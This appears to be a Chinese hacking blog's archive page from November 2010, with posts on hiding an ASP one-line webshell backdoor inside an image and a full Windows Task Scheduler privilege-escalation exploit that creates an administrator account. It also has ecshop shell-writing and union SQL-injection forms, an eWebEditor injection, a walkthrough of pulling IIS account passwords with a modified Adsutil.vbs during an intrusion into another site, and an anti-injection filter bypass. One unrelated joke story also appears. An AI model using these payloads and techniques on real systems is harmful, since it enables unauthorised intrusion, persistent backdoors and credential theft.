浏览模式: 标准 | 列表2010年11月的文章

mssql备份到启动项的一个笔记

Submitted by admin
2010, November 29, 12:53 AM

这篇日志被加密了,请输入密码后查看。

利用图片隐藏ASP WebShell一句话后门

Submitted by admin
2010, November 28, 12:22 AM

http://hi.baidu.com/scriptany/blog/item/f169410d0da07ac17bcbe1c9.html

 

利用图片隐藏ASP WebShell一句话后门教程

首先,我们来准备一张图片和ASP一句话,图片格式不限制

先就地取材一张图片,格式无限制

现在我就直接用我Blog里在线CIBA ASP木马客户端的一句话好了

在线CIBA ASP木马客户端地址:http://www.onlineany.cn/ciba/index.htm

服务端代码: <%execute request("l")%>

一句话文件已经保存好了,,现在我们来用CMD命令来复制下

看我操作吧,现在哪张1.GIF图片已经插入一句话了,

现在我们来测试下效果。。。

在这里我们还要用到一段ASP调入图片的代码:<!--#include file="要调入的图片名称"-->

现在我们来测试下

看到效果了吧, 我这里只是本地测试,,拿到WEBSHELL 后留此后门也一样

 

Tags: webshell

ecshop v2.72 前台写shell漏洞

Submitted by admin
2010, November 27, 9:21 PM

by:xhm1n9 

<title>ecshop v2.72 前台写shell漏洞 by:xhm1n9</title>
<form method="post" name="register" action="http://127.1/ecshop2.72/demo/index.php">
<h3>ecshop v2.72 前台写shell漏洞</h3>利用方试:提交两次,第二次内容任意</br>
<input type="text" name="lang" size="80" value="');phpinfo();(_1_/../../../index" />
<input type="hidden" name="step" value="readme" />
<button class="submit" type="submit" name="regsubmit" value="true">提交</button>
</form>

<!-------------
 demo/index.php
 
 
 if (!empty($_POST['lang']))
{
    $lang_charset = explode('_', $_POST['lang']);
    $updater_lang = $lang_charset[0].'_'.$lang_charset[1];
    $ec_charset = $lang_charset[2];
}
........................................
 $updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php';

if (file_exists($updater_lang_package_path))
{
    include_once($updater_lang_package_path);
    $smarty->assign('lang', $_LANG);
}
else
{
    die('Can\'t find language package!');
}

/* 初始化流程控制变量 */

$step = isset($_REQUEST['step']) ? $_REQUEST['step'] : 'sel_lang';

$smarty->assign('ec_charset', $ec_charset);
$smarty->assign('updater_lang', $updater_lang);
switch($step)
{
  case 'readme' :
    write_charset_config($updater_lang, $ec_charset);
 .......................................
 
 function write_charset_config($lang, $charset)
{
    $config_file = ROOT_PATH . 'data/config.php';
    $s = file_get_contents($config_file);
    $s = insertconfig($s, "/\?\>/","");
    $s = insertconfig($s, "/define\('EC_LANGUAGE',\s*'.*?'\);/i", "define('EC_LANGUAGE', '" . $lang . "');");
    $s = insertconfig($s, "/define\('EC_CHARSET',\s*'.*?'\);/i", "define('EC_CHARSET', '" . $charset . "');");
    $s = insertconfig($s, "/\?\>/","?>");
    return file_put_contents($config_file, $s);
}

----------------->
Tags: ecshop

windows内核API提权0DAY

Submitted by admin
2010, November 25, 6:35 PM

最近真是多oday之秋啊  可以过个好新年了

发布:红科网安forum.3est.com! }8 q5 j) L6 ?
作者:noobpwnftwforum.3est.com8 `- s  K' H5 ^  t3 E5 b
程序来源:来自国外, d3 [8 g+ S. d" V, F! n' c
程序名称:1124 windows内核API提权0DAYforum.3est.com4 `3 m" T& q1 o/ }* B3 n- M; v
公布时间:2010年11月24日
& }9 l8 n1 C- ^# `程序类型:提权程序( \; Y, U2 E. W7 H2 }3 p
漏洞描述:一个设计缺陷在w indows内核API会导致特权升级

 

附件: uacpoc.rar (493.25 K, 下载次数:483)

帮我买个单--中国最佳社会现实作品奖

Submitted by admin
2010, November 25, 1:53 PM

同学聚会,自从毕业后,好多同学都混得有模有样,我却默默无闻,在一家工厂当制图员,每月和丈夫一起靠着不多的收入共同撑着这个家。我本不打算去,可禁不起同学们的一片盛情,只好答应。丈夫正在帮儿子复习功课,儿子就要上初中了,为了上一所好中学,这段时间丈夫没少操心,东奔西走,至今还没着落呢。看了儿子一眼,我走出了家门。天安酒店是高级酒店,我走进包房的时候,同学们都已到齐。还没坐稳,一张张名片就飞了过来,一看一个个不是总经理就是带长的,就连以前成绩总是甩尾的阿辉也当上了派出所所长。望着服务小姐端上眼花缭乱的菜肴,我真感叹自己孤陋寡闻,光这一桌就足以抵我三个月的收入了。阿辉像宴席的主人一样不停地招呼大家吃,不时地为这个斟酒、为那个夹菜,嘴里还说:"只管吃,算我的。"大伙也没任何拘束,一 
       
       轮接一轮地交杯把盏、海阔天空地闲聊。酒足饭饱之后,天色已不早,此次聚会该结束了。可究竟谁埋单,我看大伙好像都没有要慷慨解囊的意思。这时候阿辉掏出手机,按了一串号码,然后说:"小李,今晚所里扫黄抓到人没有?哦!刚抓到———好!好!随便送一个到天安酒店来给我埋单。"说完,他得意地把手机放进了口袋,一旁的同学跟着哄笑起来。十五分钟不到,一个中年人就进来了,他看了账单,不禁皱了皱眉头,看来他身上的现钞也不足。他随即也拿出手机,拨了一串号码,说:"廖公吗?我是马校长呀!你儿子要转学读我们学校的事,我今天就给你拍板定下来了……不过我今晚请朋友吃饭,你过来埋单好吗?在天安酒店203包厢……"二十分钟后,有人敲了敲包厢的门,门被打开了。当我见到戴着副高度近视眼镜的丈夫站在门口时,我晕倒了…… 

==

有点严肃,有点搞笑,有点可怜……

这就是中国啊

Windows7/win2008任务计划程序提权0day

Submitted by admin
2010, November 23, 11:53 AM

# Exploit Title: Windows Task Scheduler Privilege Escalation 0day
# Date: 20-11-2010
# Author: webDEViL
# Tested on: Windows 7/2008 x86/x64

代码:

 

<job id="tasksch-wD-0day">
<script language="Javascript">

crc_table = new Array(
  0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
  0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
  0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
  0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
  0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
  0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
  0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
  0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
  0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
  0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
  0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
  0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
  0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
  0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
  0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
  0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
  0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
  0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
  0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
  0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
  0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
  0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
  0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
  0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
  0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
  0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
  0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
  0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
  0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
  0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
  0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
  0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
  0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
  0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
  0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
  0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
  0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
  0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
  0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
  0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
  0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
  0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
  0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
  0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
  0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
  0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
  0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
  0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
  0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
  0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
  0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
  0x2D02EF8D
);

var hD='0123456789ABCDEF';

function dec2hex(d) {
h='';
for (i=0;i<8;i++) {
h = hD.charAt(d&15)+h;
d >>>= 4;
}
return h;
}
function encodeToHex(str){
    var r="";
    var e=str.length;
    var c=0;
    var h;
    while(c<e){
        h=str.charCodeAt(c++).toString(16);
        while(h.length<3) h="0"+h;
        r+=h;
    }
    return r;
}
function decodeFromHex(str){
    var r="";
    var e=str.length;
    var s=0;
    while(e>1){
        
        r=r+String.fromCharCode("0x"+str.substring(s,s+2));
        
        s=s+2;
        e=e-2;
    }
    
    return r;
    
}


function calc_crc(anyForm) {

anyTextString=decodeFromHex(anyForm);

Crc_value = 0xFFFFFFFF;
StringLength=anyTextString.length;
for (i=0; i<StringLength; i++) {
tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
Table_value = crc_table[tableIndex];
Crc_value >>>= 8;
Crc_value ^= Table_value;
}
Crc_value ^= 0xFFFFFFFF;
return dec2hex(Crc_value);

}

function rev_crc(leadString,endString,crc32) {
//
// First, we calculate the CRC-32 for the initial string
//
    anyTextString=decodeFromHex(leadString);
    
   Crc_value = 0xFFFFFFFF;
   StringLength=anyTextString.length;
   //document.write(alert(StringLength));
   for (var i=0; i<StringLength; i++) {
      tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
      Table_value = crc_table[tableIndex];
      Crc_value >>>= 8;
      Crc_value ^= Table_value;
   }
//
// Second, we calculate the CRC-32 without the final string
//
   crc=parseInt(crc32,16);
   crc ^= 0xFFFFFFFF;
   anyTextString=decodeFromHex(endString);
   StringLength=anyTextString.length;
   for (var i=0; i<StringLength; i++) {
      tableIndex=0;
      Table_value = crc_table[tableIndex];
      while (((Table_value ^ crc) >>> 24)  & 0xFF) {
         tableIndex++;
         Table_value = crc_table[tableIndex];
      }
      crc ^= Table_value;
      crc <<= 8;
      crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
   }
//
// Now let's find the 4-byte string
//
   for (var i=0; i<4; i++) {
      tableIndex=0;
      Table_value = crc_table[tableIndex];
      while (((Table_value ^ crc) >>> 24)  & 0xFF) {
         tableIndex++;
         Table_value = crc_table[tableIndex];
      }
      crc ^= Table_value;
      crc <<= 8;
      crc |= tableIndex;
   }
   crc ^= Crc_value;
//
// Finally, display the results
//
   var TextString=dec2hex(crc);
   var Teststring='';
Teststring=TextString.substring(6,8);
Teststring+=TextString.substring(4,6);
Teststring+=TextString.substring(2,4);
Teststring+=TextString.substring(0,2);
   return Teststring
}
function decodeFromHex(str){
    var r="";
    var e=str.length;
    var s=0;
    while(e>1){
        
        r=r+String.fromCharCode("0x"+str.substring(s,s+2));
        
        s=s+2;
        e=e-2;
    }
    
    return r;
    
}
</script>

 

<script language="VBScript">
dim output
set output = wscript.stdout
output.writeline " Task Scheduler 0 day - Privilege Escalation "
output.writeline " Should work on Vista/Win7/2008 x86/x64"
output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True

Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.CreateTextFile(biatchFile, True)
a.WriteLine ("net user /add test123 test123")
a.WriteLine ("net localgroup administrators /add test123")
a.WriteLine ("schtasks /delete /f /TN wDw00t")

Function ReadByteArray(strFileName)
Const adTypeBinary = 1
Dim bin
    Set bin = CreateObject("ADODB.Stream")
    bin.Type = adTypeBinary
    bin.Open
    bin.LoadFromFile strFileName
    ReadByteArray = bin.Read
'output.writeline ReadByteArray
End Function

Function OctetToHexStr (arrbytOctet)
Dim k
OctetToHexStr = ""
For k = 3 To Lenb (arrbytOctet)
  OctetToHexStr = OctetToHexStr _
        & Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
Next
End Function
strFileName="C:\windows\system32\tasks\wDw00t"

hexXML = OctetToHexStr (ReadByteArray(strFileName))
'output.writeline hexXML
crc32 = calc_crc(hexXML)
output.writeline "Crc32 Original: "+crc32


Set xmlDoc = CreateObject("Microsoft.XMLDOM")
'permissions workaround
'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
Set objShell = WScript.CreateObject("WScript.Shell")
Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")

Do Until objExecObject.StdOut.AtEndOfStream
strLine = strLine & objExecObject.StdOut.ReadLine()
Loop
hexXML = "FFFE3C00"+OctetToHexStr(strLine)
'output.writeline hexXML
Set ts = fso.createtextfile ("wDw00t.xml")
For n = 1 To (Len (hexXML) - 1) step 2
ts.write Chr ("&h" & Mid (hexXML, n, 2))
Next
ts.close

xmlDoc.load "wDw00t.xml"
Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
Author.text = "LocalSystem"
Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
UserId.text = "S-1-5-18"
xmldoc.save(strFileName)

hexXML = OctetToHexStr (ReadByteArray(strFileName))

leadString=hexXML+"3C0021002D002D00"
endString="2D002D003E00"
'output.writeline leadString
impbytes=rev_crc(leadString,endString,crc32)
output.writeline "Crc32 Magic Bytes: "+impbytes

finalString = leadString+impbytes+endString
forge = calc_crc(finalString)
output.writeline "Crc32 Forged: "+forge

strHexString="FFFE"+finalString
Set fso = CreateObject ("scripting.filesystemobject")
Set stream = CreateObject ("adodb.stream")

Set ts = fso.createtextfile (strFileName)

For n = 1 To (Len (strHexString) - 1) step 2
ts.write Chr ("&h" & Mid (strHexString, n, 2))
Next
ts.close


Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /change /TN wDw00t /disable",,True
objShell.Run "schtasks /change /TN wDw00t /enable",,True
objShell.Run "schtasks /run /TN wDw00t",,True

</script>
</job>

大小: 89.46 K
尺寸: 500 x 374
浏览: 156 次
点击打开新窗口浏览全图

taskxpl.wsf

 

Tags: 任务

SQL注入eWebEditor数据库

Submitted by admin
2010, November 22, 11:27 PM

条件:1、知道ewebeditor数据库的绝对地址

2、存在注入,或者后台可执行sql语句。

跨库注入:

update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’ where s_id=40

或者

update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’

利用:
/ewebeditor.asp?id=content1&style=standard

 

跨站小命令

Submitted by admin
2010, November 21, 2:58 PM

这篇日志被加密了,请输入密码后查看。

使用Adsutil.vbs脚本获取IIS配置信息及账号密码

Submitted by admin
2010, November 21, 1:28 PM

本文由EnjoyHack首发,转载请注明出处,本站地址:http://www.enjoyhack.com/

     今晚在搞http://gov.com.im/的时候拿下旁站权限,但不能夸到目标站的目录下,眼看目标就在眼前却被最后一道关卡给卡死了。之前也有尝试过pr提权,单asp一执行pr就卡死了。。

      无奈之下找了群里龙儿心一起来研究,龙儿心经验不错,到shell上立马就搞定了目标站的路径,获取IIS网站路劲和其他基本信息也是使用一个VBS脚本搞定的,这个在我blog中有一个文章帖出来代码。这里我将就再帖下,并说明用法!

Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit

      将以上代码保存为1.vbs,执行”cscript C:\recycler\1.vbs“ 命令,cscript C:\recycler\1.vbs是我传到服务器上的路径,执行成功后就会列出IIS的基本信息了。

大小: 60.33 K
尺寸: 478 x 300
浏览: 44 次
点击打开新窗口浏览全图

如上图所示,列出来的信息中包含了网站id 显示名称 以及路径三个信息,这里我们要记下目标站的id为:360363061,路径为:D:\wwwroot\fucksbhack8\wwwroot。

      现在就得到了目标网站的基本信息了,但是这对我们拿下最终目标站的权限有啥用呢? 呵呵!不急,我们接下来就要想办法得到这个网站的iis用户名和密码,然后使用bs大牛写的webshell来夸目录。

      当时和龙儿心搞定了目标站路径信息后为得到目标站的IIS账号密码还真费了不少功夫,后来还是多亏了龙儿心给我看的一篇文章,仔细看了过后才明白了怎么使用Adsutil.vbs来获取IIS账号密码。首先搞个Adsutil.vbs文件来,文件内容太多,我就不贴出来了,本文中所用到的工具最后我会全部打包。

      搞到Adsutil.vbs文件后我们需要改动下内容,我首先搜索”If (Attribute = True) Then“,然后再下面几行中会看到如下内容:

    If (Attribute = True) Then
        IsSecureProperty = False
    Else
        IsSecureProperty = True
    End If

      首先我们要获取目标站点IIS的账号,我们将第一个IsSecureProperty 的值修改成IsSecureProperty = False,然后保存,上传到服务器上。

      在执行的时候我们需要用到之前使用的vbs脚本获取到目标网站的id值,这里是360363061,然后我们使用”cscript C:\recycler\k.vbs enum w3svc/360363061/root“命令来获取目标站的IIS账号信息。

大小: 94.52 K
尺寸: 490 x 366
浏览: 38 次
点击打开新窗口浏览全图

如上图所示,成功的获取到目标站IIS账号为sbhack8_web,接下来我们就是获取密码了,同样的方法还需要将Adsutil.vbs文件中刚才修改的地方,将第二个IsSecureProperty 修改成IsSecureProperty = False,然后再把第一个IsSecureProperty 修改成IsSecureProperty = True,既两个的值互相调换一下,然后再执行同样的命令”cscript C:\recycler\k.vbs enum w3svc/360363061/root“来获取密码信息。

大小: 93.95 K
尺寸: 494 x 365
浏览: 48 次
点击打开新窗口浏览全图

这样就搞到了目标站IIS用户的账号和密码了,先就要排bs大牛的shell上场了,在要使用BS大牛的shell之前我们还需要改动喜爱BS大牛的shell内容。

      搜索bs大牛shell中内容”Const bOtherUser=False“,然后修改成”Const bOtherUser=True“,保存,上传到服务器任意网站目录下,当然还是要支持asp的了,然后访问,然后出现下图所示内容。

大小: 12.56 K
尺寸: 500 x 154
浏览: 37 次
点击打开新窗口浏览全图

这里直接点击OK,然后稍等下一下就会弹出登陆框了,如下图所示:
大小: 19.21 K
尺寸: 353 x 309
浏览: 37 次
点击打开新窗口浏览全图

然后我们在这里输入刚才得到的目标站的IIS账号和密码,然后登陆,成功了的话就会进入shell的登录框了。

大小: 7.4 K
尺寸: 446 x 218
浏览: 38 次
点击打开新窗口浏览全图

这里如数webshell的密码进入后直接拿目标站的路径跳转,然后就会发现目标站的目录和文件全部列出来了!不BT的话是有写入权限的!!方便大家我把文章中提及的工具全部打包了!!

      *最后补充下,我下来本地测试了下Adsutil.vbs的修改地方,我们直接将If (Attribute = True) Then下面的两个IsSecureProperty值都修改为True的时候就会同时列出账号和密码了,没必要获取了账号,然后再修改下去获取密码。

大小: 31.97 K
尺寸: 500 x 139
浏览: 37 次
点击打开新窗口浏览全图

iis.rar

Tags: adsutil, iis

IIS的几个vbs脚本在渗透中的妙用

Submitted by admin
2010, November 21, 1:16 PM

转载自 Ra1nKer
最终编辑 Ra1nKer

By:ra1nker

有时候用aspxshell的iisspy功能看不到网站路径跟域名,可以尝试下下面这个方法

1.查询IIS里的所有网站

C:\WINDOWS\system32>cscript.exe iisweb.vbs /query
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

正在连接到服务器 …已完成。
Site Name (Metabase Path)                     Status IP              Port Host

==============================================================================
默认网站 (W3SVC/1)                                STARTED ALL             80
N/A

2.查询指定网站的虚拟目录

C:\WINDOWS\system32>cscript.exe iisvdir.vbs /query w3svc/1/root
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

正在连接到服务器 …已完成。
Alias                              Physical Root
==============================================================================
/help                              D:\web\help
/rzzx                              D:\rzzx

3.查看指定网站的路径

C:\Inetpub\AdminScripts>cscript adsutil.vbs get /W3SVC/1/root/path
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

path                            : (STRING) “D:\web”

4.建立虚拟目录和WEBDAV

也就是今天遇到的问题,因为目标的WEB目录都是中文的,我用的这个ORACLE注入工具对中文支持的不是很好,一直就无法传上去一句话,后来问了问朋友,才想起一个思路,就是建立一个虚拟目录,设置好脚本的执行,读,写,列目录权限,然后把一句话传到建立好的虚拟目录里,就可以了.


附件来自等待blog

iiswebiisdir.rar

Tags: iis, vbs

ecshop2.72鸡肋注入

Submitted by admin
2010, November 15, 11:33 AM

by:xhm1n9 2010.11.11

     最近好像ecshop的问题蛮多的啊,看到T00LS有人发测试图出来,我也下了份来看看,看到一鸡肋注入。我没留意之前有没人发过此漏洞,见谅了。

/api.php
.........................
 switch ($_POST['act'])
{
    case 'search_goods_list': search_goods_list(); break;
   //............................
    default: api_err('0x008', 'no this type api');   //输出系统级错误:数据异常
}
.........................

 function search_goods_list()
{
    check_auth();           //检查基本权限 ~~~鸡肋了       

    $version = '1.0';   //版本号

    if ($_POST['api_version'] != $version)      //网店的接口版本低
    {
        api_err('0x008', 'a low version api');
    }

    if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time']))
    {
        $sql = 'SELECT COUNT(*) AS count' .
               ' FROM ' . $GLOBALS['ecs']->table('goods') .
               " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)";
        $date_count = $GLOBALS['db']->getRow($sql);

        if (empty($date_count))
        {
            api_err('0x003', 'no data to back');    //无符合条件数据
        }

        $page = empty($_POST['pages']) ? 1 : $_POST['pages'];         //没过滤
        $counts = empty($_POST['counts']) ? 100 : $_POST['counts'];   //没过滤

     $sql = 'SELECT goods_id, last_update AS last_modify' .
               ' FROM ' . $GLOBALS['ecs']->table('goods') .
               " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".
               " LIMIT ".($page - 1) * $counts . ', ' . $counts;         //$counts也没用单引号包含   
        $date_arr = $GLOBALS['db']->getAll($sql);
  ..............................
}

function check_auth()
{
    $license = get_shop_license();  // 取出网店 license信息
    if (empty($license['certificate_id']) || empty($license['token']) || empty($license['certi']))
    {
        api_err('0x006', 'no certificate');   //没有证书数据,输出系统级错误:用户权限不够
    }

    if (!check_shopex_ac($_POST, $license['token']))
    {
        api_err('0x009');   //输出系统级错误:签名无效
    }

    /* 对应用申请的session进行验证 */
    $certi['certificate_id'] = $license['certificate_id']; // 网店证书ID
    $certi['app_id'] = 'ecshop_b2c'; // 说明客户端来源
    $certi['app_instance_id'] = 'webcollect'; // 应用服务ID
    $certi['version'] = VERSION . '#' .  RELEASE; // 网店软件版本号
    $certi['format'] = 'json'; // 官方返回数据格式
    $certi['certi_app'] = 'sess.valid_session'; // 证书方法
    $certi['certi_session'] = $_POST['app_session']; //应用服务器申请的session值
    $certi['certi_ac'] = make_shopex_ac($certi, $license['token']); // 网店验证字符串

    $request_arr = exchange_shop_license($certi, $license);
    if ($request_arr['res'] != 'succ')
    {
        api_err('0x001', 'session is invalid');   //输出系统级错误:身份验证失败
    }
}


function get_shop_license()
{
    // 取出网店 license
    $sql = "SELECT code, value
            FROM " . $GLOBALS['ecs']->table('shop_config') . "
            WHERE code IN ('certificate_id', 'token', 'certi')
            LIMIT 0,3";
    $license_info = $GLOBALS['db']->getAll($sql);
    $license_info = is_array($license_info) ? $license_info : array();
    $license = array();
    foreach ($license_info as $value)
    {
        $license[$value['code']] = $value['value'];
    }

    return $license;
}
      鸡肋的是check_auth()作了权限检查

exp:
<form name="p_form" id="p_form" method="post" action="http://127.1/ecshop2.72/api.php" enctype="multipart/form-data">
<input name='act' type="text" value="search_goods_list">
<input name='api_version' type="text" value="1.0">
<input name='last_modify_st_time' type="text" value="1">
<input name='last_modify_en_time' type="text" value="1">
<input name='pages' type="text" value="">
<input name='ac' type="text" value="ac">
<input name='counts' type="text" value="1 union select user(),2">
<input name="sub" type="submit" value="提交" />
</form>
Tags: ecshop

%69d分析绕过防注入-枫叶防注入

Submitted by admin
2010, November 12, 6:32 PM

原著:lake2,尊重版权!
枫叶防注入。看代码吧:
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 2 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Fy_Zx = "../" '出错时转向的页面
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
省略部分代码。。。


这个防注入系统在网上貌似很火,但是他防的是有问题的。关键是这句,Fy_Url=Request.ServerVariables("QUERY_STRING"),Request.ServerVariables得到的数据是原样的,并不会进行URL解码。这也就导致可以进行URL编码绕过这个防注入。以下是lake2对这段代码的分析:
“它的思路就是先获得提交的数据,以“&”为分界获得并处理name/value组,然后判断value里是否含有定义的关键字(这里为求简便,我只留下了“and”),有之,则为注射。
乍一看去,value被检查了,似乎没有问题。呵呵,是的,value不会有问题,可是,name呢?
它的name/value组值来自于Request.ServerVariables("QUERY_STRING"),呵呵,不好意思,这里出问题了。Request.ServerVariables("QUERY_STRING")是得到客户端提交的字符串,这里并不会自动转换url编码,哈哈,如果我们把name进行url编码再提交的话,呵呵,那就可以绕过检查了。比如参数是ph4nt0m=lake2 and lis0,此时程序能够检测到;如果提交%50h4nt0m=lake2 and lis0(对p进行url编码),程序就会去判断%50h4nt0m的值,而%50h4nt0m会被转换为ph4nt0m,所以%50h4nt0m值为空,于是就绕过了检测。
等等,为什么既然name不解码可以绕过检查而value就不能绕过呢?因为value的值取自Request(Fy_Cs(Fy_x)),这个服务器就会解码的。
程序怎么改进呢?只要能够得到客户端提交的数据是解码后的就可以了,把得到name的语句改为For Each SubmitName In Request.QueryString就可以了。”

构造如下地址:
